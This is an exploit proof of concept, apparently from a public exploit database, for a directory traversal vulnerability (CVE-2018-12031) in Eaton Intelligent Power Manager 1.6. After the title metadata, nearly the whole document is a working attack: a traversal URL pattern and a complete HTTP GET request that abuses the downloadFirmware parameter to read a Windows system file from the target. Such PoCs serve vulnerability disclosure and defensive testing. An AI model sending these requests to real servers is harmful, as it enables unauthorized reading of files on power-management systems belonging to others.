Eaton Intelligent Power Manager 1.6 - Directory Traversal

# Exploit Title: Eaton Intelligent Power Manager 1.6 - Directory Traversal
# Date: 2018-09-29
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://powerquality.eaton.com/
# Software Link: https://powerquality.eaton.com/Support/Software-Drivers/default.asp?cx=-999
# Version: v1.6
# Tested on: Windows

# CVE-2018-12031
# https://nvd.nist.gov/vuln/detail/CVE-2018-12031
# https://github.com/EmreOvunc/Eaton-Intelligent-Power-Manager-Local-File-Inclusion

# PoC
To exploit vulnerability, someone could use
'https://[HOST]/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../'
request to get some informations from the target.

GET /server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../windows/System32/drivers/etc/host
HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0)
Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1